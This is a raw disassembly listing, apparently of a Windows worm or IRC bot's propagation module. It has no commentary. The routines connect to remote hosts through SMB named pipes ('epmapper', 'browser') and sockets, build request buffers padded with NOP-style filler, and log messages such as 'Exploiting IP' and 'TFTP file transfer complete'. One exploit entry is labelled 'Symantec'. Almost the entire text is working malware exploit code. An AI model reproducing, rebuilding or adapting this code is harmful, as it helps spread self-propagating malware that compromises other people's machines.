loc_40DA73: ; CODE XREF: sub_40DA40+2Fj
push eax
call sub_41D735
pop ecx
mov [ebp+8], eax
jmp short loc_40DAA4
; ---------------------------------------------------------------------------
loc_40DA7F: ; DATA XREF: ___:00427FCCo
mov eax, [ebp+8]
mov [ebp-18h], eax
add eax, 2
test eax, eax
jge short loc_40DA8E
xor eax, eax
loc_40DA8E: ; CODE XREF: sub_40DA40+4Aj
push eax
call sub_41D735
mov [ebp+8], eax
pop ecx
mov eax, offset loc_40DA9E
retn
; ---------------------------------------------------------------------------
loc_40DA9E: ; DATA XREF: sub_40DA40+58o
mov esi, [ebp-14h]
mov edi, [ebp-18h]
loc_40DAA4: ; CODE XREF: sub_40DA40+3Dj
mov eax, [esi+8]
test eax, eax
jbe short loc_40DAC2
cmp eax, edi
jbe short loc_40DAB1
mov eax, edi
loc_40DAB1: ; CODE XREF: sub_40DA40+6Dj
push eax
mov eax, [ebp+8]
push dword ptr [esi+4]
inc eax
push eax
call sub_41CAB0
add esp, 0Ch
loc_40DAC2: ; CODE XREF: sub_40DA40+69j
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_40D968
mov eax, [ebp+8]
inc eax
mov [esi+4], eax
and byte ptr [eax-1], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_40DAE2
mov edi, ebx
loc_40DAE2: ; CODE XREF: sub_40DA40+9Ej
mov eax, [esi+4]
mov ecx, [ebp-0Ch]
mov [esi+8], edi
and byte ptr [eax+edi], 0
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_40DA40 endp
; =============== S U B R O U T I N E =======================================
sub_40DAFD proc near ; CODE XREF: sub_40D9D9+15p
push esi
push edi
mov edi, ecx
mov esi, [edi+4]
test esi, esi
jz short loc_40DB2A
mov al, [esi-1]
test al, al
jz short loc_40DB2A
cmp al, 0FFh
jz short loc_40DB2A
push 1
call sub_40D968
push esi
call sub_41B960
pop ecx
push eax
push esi
mov ecx, edi
call sub_40D9A4
loc_40DB2A: ; CODE XREF: sub_40DAFD+9j
; sub_40DAFD+10j ...
pop edi
pop esi
retn
sub_40DAFD endp
; =============== S U B R O U T I N E =======================================
sub_40DB2D proc near ; DATA XREF: ___:00429008o
test byte_4D9A2C, 1
jnz short loc_40DB3D
or byte_4D9A2C, 1
loc_40DB3D: ; CODE XREF: sub_40DB2D+7j
jmp $+5
push offset nullsub_2
call sub_41D7B0
pop ecx
retn
sub_40DB2D endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DB4F proc near ; CODE XREF: ___:0040DF65p
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 354h
push ebx
push esi
push edi
mov esi, offset off_4329A0
lea edi, [ebp+var_C]
mov ecx, 8Ah
movsd
movsd
movsd
mov esi, offset asc_432998 ; "\\\\"
lea edi, [ebp+var_354]
movsd
movsw
xor eax, eax
lea edi, [ebp+var_34E]
rep stosd
stosw
mov al, byte_43B4B8
push 45h
mov [ebp+var_124], al
pop ecx
xor eax, eax
lea edi, [ebp+var_123]
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
push 0FFh
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
xor edi, edi
push edi
push edi
nop
call near ptr 2700000h
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41D7F1
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41D7F1
mov esi, [ebp+arg_4]
lea eax, [ebp+var_354]
add esp, 10h
mov [esi+14h], eax
mov eax, offset dword_4CC024
push edi
push eax
push eax
push esi
mov [esi+4], edi
mov [esi+10h], edi
mov [esi+1Ch], edi
call dword_4C93A4
cmp eax, 5
mov ebx, 4C3h
jz short loc_40DC13
cmp eax, ebx
jnz short loc_40DC1D
loc_40DC13: ; CODE XREF: sub_40DB4F+BEj
push edi
push edi
push edi
push esi
call dword_4C93A4
loc_40DC1D: ; CODE XREF: sub_40DB4F+C2j
cmp eax, 5
jz short loc_40DC2B
cmp eax, ebx
jz short loc_40DC2B
push 1
pop eax
jmp short loc_40DC2D
; ---------------------------------------------------------------------------
loc_40DC2B: ; CODE XREF: sub_40DB4F+D1j
; sub_40DB4F+D5j
xor eax, eax
loc_40DC2D: ; CODE XREF: sub_40DB4F+DAj
pop edi
pop esi
pop ebx
leave
retn
sub_40DB4F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DC32 proc near ; CODE XREF: ___:0040DFB7p
; ___:0040E097p
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 354h
push esi
push edi
mov esi, offset off_4329A0
lea edi, [ebp+var_C]
movsd
movsd
movsd
mov esi, offset asc_432998 ; "\\\\"
lea edi, [ebp+var_354]
movsd
movsw
mov ecx, 8Ah
xor eax, eax
lea edi, [ebp+var_34E]
push 45h
rep stosd
stosw
mov al, byte_43B4B8
pop ecx
mov [ebp+var_124], al
xor eax, eax
lea edi, [ebp+var_123]
push 0FFh
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
xor esi, esi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push esi
call near ptr 2700000h
nop
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41D7F1
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41D7F1
add esp, 10h
loc_40DCC3: ; CODE XREF: sub_40DC32+AFj
push esi
lea eax, [ebp+var_354]
push esi
push eax
call dword_4C923C
test eax, eax
jz short loc_40DCE3
push 7D0h
nop
call near ptr 268051Bh
jmp short loc_40DCC3
; ---------------------------------------------------------------------------
loc_40DCE3: ; CODE XREF: sub_40DC32+A2j
push 1
pop eax
pop edi
pop esi
leave
retn
sub_40DC32 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DCEA proc near ; CODE XREF: ___:0040DFE6p
; ___:0040E124p
var_3004 = byte ptr -3004h
var_2004 = byte ptr -2004h
var_1FE0 = byte ptr -1FE0h
var_1FD4 = byte ptr -1FD4h
var_1F2D = byte ptr -1F2Dh
var_1004 = byte ptr -1004h
var_FFC = dword ptr -0FFCh
var_FF4 = dword ptr -0FF4h
var_F84 = dword ptr -0F84h
var_F80 = dword ptr -0F80h
var_F50 = dword ptr -0F50h
var_F4C = dword ptr -0F4Ch
var_F34 = dword ptr -0F34h
var_E78 = dword ptr -0E78h
var_CA4 = dword ptr -0CA4h
var_C9C = dword ptr -0C9Ch
var_C94 = byte ptr -0C94h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
arg_C4 = dword ptr 0CCh
push ebp
mov ebp, esp
mov eax, 3004h
call sub_41C2A0
push esi
push edi
push offset byte_429108
mov esi, 0A7h
push [ebp+arg_0]
mov [ebp+var_4], esi
call sub_40A9FA
pop ecx
push eax
lea eax, [ebp+var_3004]
push 1000h
push eax
call sub_40B21E
mov edi, eax
add esp, 10h
test edi, edi
jz loc_40DF39
push ebx
mov ebx, offset off_4328B4
push 30h
lea eax, [ebp+var_2004]
push ebx
push eax
call sub_41CAB0
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_41BD10
lea eax, [ebp+var_3004]
push edi
push eax
lea eax, [ebp+var_1F2D]
push eax
call sub_41CAB0
add esp, 24h
lea esi, [edi+0D7h]
loc_40DD6F: ; CODE XREF: sub_40DCEA+D3j
mov eax, esi
push 10h
cdq
pop ecx
idiv ecx
cmp edx, 0Ch
jz short loc_40DDBF
mov esi, [ebp+var_4]
push 30h
lea eax, [ebp+var_2004]
inc esi
push ebx
push eax
mov [ebp+var_4], esi
call sub_41CAB0
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_41BD10
lea eax, [ebp+var_3004]
push edi
push eax
lea eax, [ebp+esi+var_1FD4]
push eax
call sub_41CAB0
add esp, 24h
lea esi, [esi+edi+30h]
jmp short loc_40DD6F
; ---------------------------------------------------------------------------
loc_40DDBF: ; CODE XREF: sub_40DCEA+90j
cmp [ebp+arg_C4], 0
jz short loc_40DDDA
cmp [ebp+arg_C0], 3
jz short loc_40DDE3
cmp [ebp+arg_C0], 0
jmp short loc_40DDE1
; ---------------------------------------------------------------------------
loc_40DDDA: ; CODE XREF: sub_40DCEA+DCj
cmp [ebp+arg_C0], 3
loc_40DDE1: ; CODE XREF: sub_40DCEA+EEj
jnz short loc_40DDEC
loc_40DDE3: ; CODE XREF: sub_40DCEA+E5j
push 4
push offset dword_432994
jmp short loc_40DDF3
; ---------------------------------------------------------------------------
loc_40DDEC: ; CODE XREF: sub_40DCEA:loc_40DDE1j
push 4
push offset dword_432990
loc_40DDF3: ; CODE XREF: sub_40DCEA+100j
lea eax, [ebp+var_1FE0]
push eax
call sub_41CAB0
add esp, 0Ch
lea eax, [ebp+var_1004]
push 360h
push offset dword_4324C8
push eax
call sub_41CAB0
push 10h
lea eax, [ebp+var_CA4]
push offset dword_43282C
push eax
call sub_41CAB0
lea eax, [ebp+var_2004]
push esi
push eax
lea eax, [ebp+var_C94]
push eax
call sub_41CAB0
lea edi, [esi+370h]
push 3Ch
push offset off_432840
lea eax, [ebp+edi+var_1004]
push eax
call sub_41CAB0
add edi, 3Ch
push 30h
push offset dword_432880
lea eax, [ebp+edi+var_1004]
push eax
call sub_41CAB0
mov eax, esi
add edi, 30h
cdq
sub eax, edx
sar eax, 1
add [ebp+var_CA4], eax
add [ebp+var_C9C], eax
mov eax, [ebp+var_FFC]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FFC], eax
mov eax, [ebp+var_FF4]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FF4], eax
mov eax, [ebp+var_F84]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F84], eax
mov eax, [ebp+var_F80]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F80], eax
mov eax, [ebp+var_F50]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F50], eax
mov eax, [ebp+var_F4C]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F4C], eax
mov eax, [ebp+var_F34]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F34], eax
mov eax, [ebp+var_E78]
lea eax, [eax+esi-0Ch]
lea esi, [edi+1]
push esi
mov [ebp+var_E78], eax
call sub_41BC9B
add esp, 40h
mov ebx, eax
push esi
push 0
push ebx
call sub_41BD10
lea eax, [ebp+var_1004]
push edi
push eax
push ebx
call sub_41CAB0
mov eax, [ebp+arg_BC]
add esp, 18h
mov [eax], edi
mov eax, ebx
pop ebx
loc_40DF39: ; CODE XREF: sub_40DCEA+3Ej
pop edi
pop esi
leave
retn
sub_40DCEA endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 1338h
call sub_41C2A0
cmp dword ptr [ebp+0A8h], 1BDh
push ebx
push esi
push edi
jnz loc_40E0AB
lea eax, [ebp-34h]
push eax
lea eax, [ebp+0Ch]
push eax
call sub_40DB4F
pop ecx
test eax, eax
pop ecx
jz loc_40E1BB
lea eax, [ebp+0Ch]
push eax
lea eax, [ebp-338h]
push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper"
push eax
call sub_41C006
add esp, 0Ch
xor ebx, ebx
lea eax, [ebp-338h]
push ebx
push 80h
push 3
push ebx
push 1
push 0C0000000h
push eax
call near ptr 27306D8h
nop
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jnz short loc_40DFC2
loc_40DFB3: ; CODE XREF: ___:0040E063j
lea eax, [ebp+0Ch]
push eax
call sub_40DC32
pop ecx
jmp loc_40E1BB
; ---------------------------------------------------------------------------
loc_40DFC2: ; CODE XREF: ___:0040DFB1j
lea eax, [ebp+0Ch]
push 2
push eax
call sub_41827E
pop ecx
lea esi, [ebp+8]
pop ecx
push 1
push eax
lea eax, [ebp-10h]
push eax
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40DCEA
add esp, 0C8h
cmp eax, ebx
mov [ebp-8], eax
jz short loc_40E05A
mov edi, 186A0h
push edi
call sub_41BC9B
mov esi, eax
push edi
push ebx
push esi
call sub_41BD10
add esp, 10h
lea eax, [ebp-0Ch]
mov edi, 2710h
push ebx
push eax
push edi
push esi
push 48h
push offset dword_43247C
push dword ptr [ebp-4]
nop
call near ptr 2730000h
cmp byte ptr [esi+2], 0Ch
jnz short loc_40E04A
lea eax, [ebp-14h]
push ebx
push eax
push dword ptr [ebp-10h]
push dword ptr [ebp-8]
push dword ptr [ebp-4]
call near ptr 2720000h
nop
test eax, eax
jnz short loc_40E068
loc_40E04A: ; CODE XREF: ___:0040E030j
push esi
call sub_41BA31
push dword ptr [ebp-8]
call sub_41BA31
pop ecx
pop ecx
loc_40E05A: ; CODE XREF: ___:0040DFF6j
push dword ptr [ebp-4]
nop
call near ptr 2660000h
jmp loc_40DFB3
; ---------------------------------------------------------------------------
loc_40E068: ; CODE XREF: ___:0040E048j
lea eax, [ebp-0Ch]
push ebx
push eax
push edi
push esi
push dword ptr [ebp-4]
call near ptr 2710000h
nop
push dword ptr [ebp-8]
mov edi, eax
call sub_41BA31
push esi
call sub_41BA31
pop ecx
pop ecx
push dword ptr [ebp-4]
nop
call near ptr 2660000h
lea eax, [ebp+0Ch]
push eax
call sub_40DC32
cmp edi, 1
pop ecx
jnz loc_40E1CF
jmp loc_40E1BB
; ---------------------------------------------------------------------------
loc_40E0AB: ; CODE XREF: ___:0040DF57j
lea eax, [ebp+0Ch]
push 1
push eax
call sub_41827E
mov esi, eax
pop ecx
cmp esi, 1
pop ecx
jz loc_40E1BB
xor ebx, ebx
push ebx
push 1
push 2
call dword_4C9384
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jz loc_40E1BB
push 10h
lea eax, [ebp-24h]
push ebx
push eax
call sub_41BD10
add esp, 0Ch
mov word ptr [ebp-24h], 2
push dword ptr [ebp+0A8h]
call dword_4C9304
mov [ebp-22h], ax
lea eax, [ebp+0Ch]
push eax
call dword_4C9344
mov [ebp-20h], eax
push ebx
lea eax, [ebp-0Ch]
push esi
push eax
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40DCEA
mov esi, eax
add esp, 0C8h
cmp esi, ebx
mov [ebp-8], esi
jnz short loc_40E13D
push dword ptr [ebp-4]
jmp short loc_40E1B5
; ---------------------------------------------------------------------------
loc_40E13D: ; CODE XREF: ___:0040E136j
mov edi, [ebp-4]
lea eax, [ebp-24h]
push 10h
push eax
push edi
call dword_4C92AC
cmp eax, 0FFFFFFFFh
jnz short loc_40E155
loc_40E152: ; CODE XREF: ___:0040E167j
push esi
jmp short loc_40E1AE
; ---------------------------------------------------------------------------
loc_40E155: ; CODE XREF: ___:0040E150j
push ebx
push 48h
push offset dword_43247C
push edi
call dword_4C9354
cmp eax, 0FFFFFFFFh
jz short loc_40E152
mov esi, 1000h
push ebx
lea eax, [ebp-1338h]
push esi
push eax
push edi
call dword_4C931C
push ebx
push dword ptr [ebp-0Ch]
push dword ptr [ebp-8]
push edi
call dword_4C9354
cmp eax, 0FFFFFFFFh
jnz short loc_40E196
push dword ptr [ebp-8]
jmp short loc_40E1AE
; ---------------------------------------------------------------------------
loc_40E196: ; CODE XREF: ___:0040E18Fj
push ebx
lea eax, [ebp-1338h]
push esi
push eax
push edi
call dword_4C931C
push dword ptr [ebp-8]
cmp eax, 0FFFFFFFFh
jnz short loc_40E1C2
loc_40E1AE: ; CODE XREF: ___:0040E153j
; ___:0040E194j
call sub_41BA31
pop ecx
push edi
loc_40E1B5: ; CODE XREF: ___:0040E13Bj
call dword_4C939C
loc_40E1BB: ; CODE XREF: ___:0040DF6Ej
; ___:0040DFBDj ...
xor eax, eax
jmp loc_40E27E
; ---------------------------------------------------------------------------
loc_40E1C2: ; CODE XREF: ___:0040E1ACj
call sub_41BA31
pop ecx
push edi
call dword_4C939C
loc_40E1CF: ; CODE XREF: ___:0040E0A0j
lea eax, [ebp+0Ch]
push eax
lea eax, [ebp-234h]
push offset aTftpFileTransf ; "[TFTP]: File transfer complete to IP: %"...
push eax
call sub_41C006
add esp, 0Ch
xor esi, esi
loc_40E1E9: ; CODE XREF: ___:0040E209j
lea eax, [ebp-234h]
push eax
call sub_415DCF
test eax, eax
pop ecx
jnz short loc_40E20D
push 1388h
nop
call near ptr 268051Bh
inc esi
cmp esi, 6
jl short loc_40E1E9
jmp short loc_40E27B
; ---------------------------------------------------------------------------
loc_40E20D: ; CODE XREF: ___:0040E1F8j
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
shl eax, 6
add eax, offset aSymantec ; "Symantec"
push eax
lea eax, [ebp-234h]
push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s."
push eax
call sub_41C006
add esp, 10h
cmp [ebp+0BCh], ebx
jnz short loc_40E259
push ebx
lea eax, [ebp-234h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409862
add esp, 14h
loc_40E259: ; CODE XREF: ___:0040E23Aj
lea eax, [ebp-234h]
push eax
call sub_415CEE
mov eax, [ebp+0B0h]
pop ecx
shl eax, 6
inc dword_431810[eax]
lea eax, dword_431810[eax]
loc_40E27B: ; CODE XREF: ___:0040E20Bj
push 1
pop eax
loc_40E27E: ; CODE XREF: ___:0040E1BDj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40E283 proc near ; DATA XREF: ___:0042900Co
jmp $+5
sub_40E283 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40E288 proc near
mov eax, dword_432B98
add eax, 6
mov dword_4CC028, eax
retn
sub_40E288 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E296 proc near ; CODE XREF: sub_40E296+D0p
; ___:0040E7F5p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_7 = byte ptr 0Fh
arg_C = word ptr 14h
arg_14 = dword ptr 1Ch
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = byte ptr 30h
arg_2B = byte ptr 33h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_28], 0
push ebx
push esi
push edi
jz short loc_40E2AA
or [ebp+arg_7], 1
jmp short loc_40E2AE
; ---------------------------------------------------------------------------
loc_40E2AA: ; CODE XREF: sub_40E296+Cj
and [ebp+arg_7], 0FEh
loc_40E2AE: ; CODE XREF: sub_40E296+12j
mov ecx, [ebp+arg_24]
mov ebx, [ebp+arg_20]
movzx eax, cx
lea edx, [ebx+18h]
cmp edx, eax
ja short loc_40E2D2
or [ebp+arg_7], 2
and [ebp+arg_2B], 0
lea eax, [ebx+18h]
mov [ebp+arg_14], ebx
mov [ebp+arg_C], ax
jmp short loc_40E2E4
; ---------------------------------------------------------------------------
loc_40E2D2: ; CODE XREF: sub_40E296+26j
add eax, 0FFFFFFE8h
and [ebp+arg_7], 0FDh
mov [ebp+arg_C], cx
mov [ebp+arg_14], eax
mov [ebp+arg_2B], 1
loc_40E2E4: ; CODE XREF: sub_40E296+3Aj
movzx eax, [ebp+arg_C]
push eax
mov [ebp+var_4], eax
call sub_41BC9B
test eax, eax
pop ecx
mov [ebp+arg_20], eax
jz loc_40E37D
push 6
lea esi, [ebp+arg_4]
pop ecx
mov edi, eax
rep movsd
mov edi, [ebp+arg_14]
mov esi, [ebp+arg_1C]
push edi
add eax, 18h
push esi
push eax
call sub_41CAB0
add esp, 0Ch
lea eax, [ebp+var_8]
push 0
push eax
push [ebp+var_4]
push [ebp+arg_20]
push [ebp+arg_0]
nop
call near ptr 2720000h
test eax, eax
jz short loc_40E374
mov eax, [ebp+var_4]
cmp [ebp+var_8], eax
jnz short loc_40E374
push [ebp+arg_20]
call sub_41BA31
cmp [ebp+arg_2B], 0
pop ecx
jz short loc_40E370
push 0
sub ebx, edi
push [ebp+arg_24]
add edi, esi
lea esi, [ebp+arg_4]
push ebx
push edi
sub esp, 18h
push 6
pop ecx
mov edi, esp
push [ebp+arg_0]
rep movsd
call sub_40E296
add esp, 2Ch
jmp short loc_40E37F
; ---------------------------------------------------------------------------
loc_40E370: ; CODE XREF: sub_40E296+B3j
mov al, 1
jmp short loc_40E37F
; ---------------------------------------------------------------------------
loc_40E374: ; CODE XREF: sub_40E296+9Cj
; sub_40E296+A4j
push [ebp+arg_20]
call sub_41BA31
pop ecx
loc_40E37D: ; CODE XREF: sub_40E296+61j
xor al, al
loc_40E37F: ; CODE XREF: sub_40E296+D8j
; sub_40E296+DCj
pop edi
pop esi
pop ebx
leave
retn
sub_40E296 endp
; ---------------------------------------------------------------------------
db 55h ; U
db 8Bh ; ‹
db 0ECh ; ì
db 0B8h ; ¸
db 0DCh ; Ü
db 60h ; `
db 0
db 0
db 0E8h ; è
db 0Fh
db 0DFh ; ß
db 0
db 0
db 53h ; S
db 56h ; V
db 57h ; W
db 68h ; h
db 5Ch ; \
db 0D8h ; Ø
db 42h ; B
db 0
db 0FFh
db 75h ; u
db 8
db 0E8h ; è
db 5Fh ; _
db 0F5h ; õ
db 0
db 0
db 59h ; Y
db 33h ; 3
db 0DBh ; Û
db 85h ; …
db 0C0h ; À
db 59h ; Y
db 74h ; t
db 4Eh ; N
db 0FFh
db 75h ; u
db 8
db 0BEh ; ¾
db 0
db 20h
db 0
db 0
db 8Dh ;
db 85h ; …
db 24h ; $
db 0DFh ; ß
db 0FFh
db 0FFh
db 68h ; h
db 14h
db 2Ch ; ,
db 43h ; C
db 0
db 56h ; V
db 50h ; P
db 0E8h ; è
db 3Dh ; =
db 0DDh ; Ý
db 0
db 0
db 6Ah ; j
db 20h
db 8Dh ;
db 85h ; …
db 24h ; $
db 0FFh
db 0FFh
db 0FFh
db 53h ; S
db 50h ; P
db 0E8h ; è
db 3Eh ; >
db 0D9h ; Ù
db 0
db 0
db 8Dh ;
db 85h ; …
db 24h ; $
db 0DFh ; ß
db 0FFh
db 0FFh
db 83h ; ƒ
db 0C4h ; Ä
db 1Ch
db 89h ; ‰
db 85h ; …
db 38h ; 8
db 0FFh
db 0FFh
db 0FFh
db 0B8h ; ¸
db 0B8h ; ¸
db 0B4h ; ´
db 43h ; C
db 0
db 53h ; S
db 50h ; P
db 50h ; P
db 8Dh ;
db 85h ; …
db 24h ; $
db 0FFh
db 0FFh
db 0FFh
db 50h ; P
db 0E8h ; è
db 3Bh ; ;
db 82h ; ‚
db 1
db 0
; ---------------------------------------------------------------------------
jmp short loc_40E3FC
; ---------------------------------------------------------------------------
db 0BEh ; ¾
db 0
db 20h
db 0
db 0
; ---------------------------------------------------------------------------
loc_40E3FC: ; CODE XREF: ___:0040E3F5j
push dword ptr [ebp+8]
lea eax, [ebp-40DCh]
push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
push esi
push eax
call sub_41C100
add esp, 10h
lea eax, [ebp-40DCh]
push ebx
push 40000000h
push 3
push ebx
push 3
push 0C0000000h
push eax
call near ptr 27306D8h
nop
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jnz short loc_40E440
loc_40E439: ; CODE XREF: ___:0040E518j
; ___:0040E6EEj ...
xor al, al
jmp loc_40E884
; ---------------------------------------------------------------------------
loc_40E440: ; CODE XREF: ___:0040E437j
push 48h
lea eax, [ebp-0B8h]
push ebx
push eax
call sub_41BD10
push 10h
mov byte ptr [ebp-0B8h], 5
pop eax
mov [ebp-0B7h], bl
push 1
mov [ebp-0B4h], eax
pop edi
mov byte ptr [ebp-0B6h], 0Bh
push eax
lea eax, [ebp-98h]
push offset dword_432BEC
push eax
mov byte ptr [ebp-0B5h], 3
mov word ptr [ebp-0B0h], 48h
mov [ebp-0AEh], bx
mov [ebp-0ACh], ebx
mov word ptr [ebp-0A8h], 10B8h
mov word ptr [ebp-0A6h], 10B8h
mov [ebp-0A4h], ebx
mov [ebp-0A0h], edi
mov [ebp-9Ch], bx
mov byte ptr [ebp-9Ah], 1
call sub_41CAB0
push 10h
lea eax, [ebp-84h]
push offset dword_432BD8
push eax
mov dword ptr [ebp-88h], 3
call sub_41CAB0
add esp, 24h
lea eax, [ebp-0BCh]
mov dword ptr [ebp-74h], 2
push ebx
push eax
lea eax, [ebp-0B8h]
push 48h
push eax
push dword ptr [ebp-4]
nop
call near ptr 2720000h
test eax, eax
jnz short loc_40E51D
loc_40E50F: ; CODE XREF: ___:0040E5E9j
push dword ptr [ebp-4]
nop
call near ptr 2660000h
jmp loc_40E439
; ---------------------------------------------------------------------------
loc_40E51D: ; CODE XREF: ___:0040E50Dj
lea eax, [ebp-14h]
push ebx
push eax
lea eax, [ebp-60DCh]
push esi
push eax
push dword ptr [ebp-4]
call near ptr 2710000h
nop
push ebx
call sub_41D81B
push eax
call sub_41C058
push 14h
lea eax, [ebp-70h]
push 41h
push eax
call sub_41BD10
push 1Ch
lea eax, [ebp-30h]
push 41h
push eax
call sub_41BD10
add esp, 20h
call sub_41C062
mov esi, [ebp+0Ch]
mov [ebp-70h], eax
mov [ebp-64h], edi
mov [ebp-68h], ebx
lea esi, [esi+esi*4]
mov [ebp-6Ch], edi
shl esi, 2
mov [ebp-60h], bx
cmp byte_432B80[esi], bl
jz short loc_40E594
push 4
mov [ebp-24h], edi
mov [ebp-28h], ebx
mov [ebp-2Ch], edi
push offset dword_4CC030
jmp short loc_40E5A7
; ---------------------------------------------------------------------------
loc_40E594: ; CODE XREF: ___:0040E580j
push 2
mov [ebp-28h], ebx
pop eax
push 4
mov [ebp-24h], eax
mov [ebp-2Ch], eax
push (offset loc_432BCF+1)
loc_40E5A7: ; CODE XREF: ___:0040E592j
lea eax, [ebp-20h]
push eax
call sub_41CAB0
add esp, 0Ch
call sub_41C062
mov edi, 0FAh
cdq
mov ecx, edi
idiv ecx
inc edx
mov [ebp-30h], edx
call sub_41C062
cdq
idiv edi
mov eax, dword_432B74[esi]
mov [ebp-18h], ebx
push eax
mov [ebp+8], eax
inc edx
mov [ebp-1Ch], edx
call sub_41BC9B
mov edi, eax
pop ecx
cmp edi, ebx
jz loc_40E50F
mov eax, [ebp+8]
add eax, 0FFFFFFFEh
push eax
push 90h
push edi
call sub_41BD10
mov eax, [ebp+8]
push 2
push ebx
lea eax, [edi+eax-2]
push eax
call sub_41BD10
mov eax, dword_432B7C[esi]
push 7
add eax, edi
push offset dword_432B68
push eax
mov [ebp+0Ch], eax
call sub_41CAB0
mov eax, [ebp+0Ch]
push 15Ch
add eax, 7
push offset dword_432A08
push eax
call sub_41CAB0
mov eax, dword_432B78[esi]
add esp, 30h
cmp byte_432B80[esi], bl
mov [ebp+0Ch], eax
jz short loc_40E6A0
push 4
add eax, edi
push offset dword_4CC028
push eax
call sub_41CAB0
add dword ptr [ebp+0Ch], 0Ch
mov esi, offset dword_432B98
mov eax, [ebp+0Ch]
push 4
add eax, edi
push esi
push eax
call sub_41CAB0
mov eax, [ebp+0Ch]
push 4
push esi
lea eax, [eax+edi+24h]
push eax
mov [ebp+0Ch], eax
call sub_41CAB0
mov eax, [ebp+0Ch]
push 4
add eax, 0Ch
push esi
push eax
call sub_41CAB0
add esp, 30h
jmp short loc_40E6C8
; ---------------------------------------------------------------------------
loc_40E6A0: ; CODE XREF: ___:0040E651j
add eax, edi
mov dword ptr [ebp-8], 10h
mov [ebp+0Ch], eax
mov esi, offset dword_432B98
loc_40E6B1: ; CODE XREF: ___:0040E6C6j
push 4
push esi
push dword ptr [ebp+0Ch]
call sub_41CAB0
add dword ptr [ebp+0Ch], 4
add esp, 0Ch
dec dword ptr [ebp-8]
jnz short loc_40E6B1
loc_40E6C8: ; CODE XREF: ___:0040E69Ej
mov eax, [ebp+8]
add eax, 42h
push eax
call sub_41BC9B
mov esi, eax
pop ecx
cmp esi, ebx
mov [ebp-8], esi
jnz short loc_40E6F3
push dword ptr [ebp-4]
call near ptr 2660000h
nop
push edi
call sub_41BA31
pop ecx
jmp loc_40E439
; ---------------------------------------------------------------------------
loc_40E6F3: ; CODE XREF: ___:0040E6DCj
mov eax, [ebp+8]
add eax, 42h
push eax
push ebx
push esi
call sub_41BD10
lea eax, [ebp-70h]
push 14h
push eax
push esi
call sub_41CAB0
mov eax, [ebp+8]
mov [ebp-0Ch], ebx
mov [ebp-10h], eax
add esp, 10h
fild qword ptr [ebp-10h]
fmul flt_4276A4
fstp qword ptr [esp]
call sub_41CF2B
call sub_41CF04
push dword ptr [ebp+8]
mov [esi+1Ch], eax
mov [esi+18h], ebx
mov eax, [esi+1Ch]
mov [esi+14h], eax
lea eax, [esi+20h]
push edi
push eax
call sub_41CAB0
mov eax, [ebp+8]
add esp, 14h
add eax, 20h
test al, 3
mov [ebp+0Ch], eax
jz short loc_40E760
loc_40E758: ; CODE XREF: ___:0040E75Bj
inc eax
test al, 3
jnz short loc_40E758
mov [ebp+0Ch], eax
loc_40E760: ; CODE XREF: ___:0040E756j
lea ecx, [ebp-30h]
push 1Ch
add eax, esi
push ecx
push eax
call sub_41CAB0
add dword ptr [ebp+0Ch], 1Ch
push edi
call sub_41BA31
push 18h
lea eax, [ebp-48h]
push ebx
push eax
call sub_41BD10
push 14h
lea eax, [ebp-5Ch]
push ebx
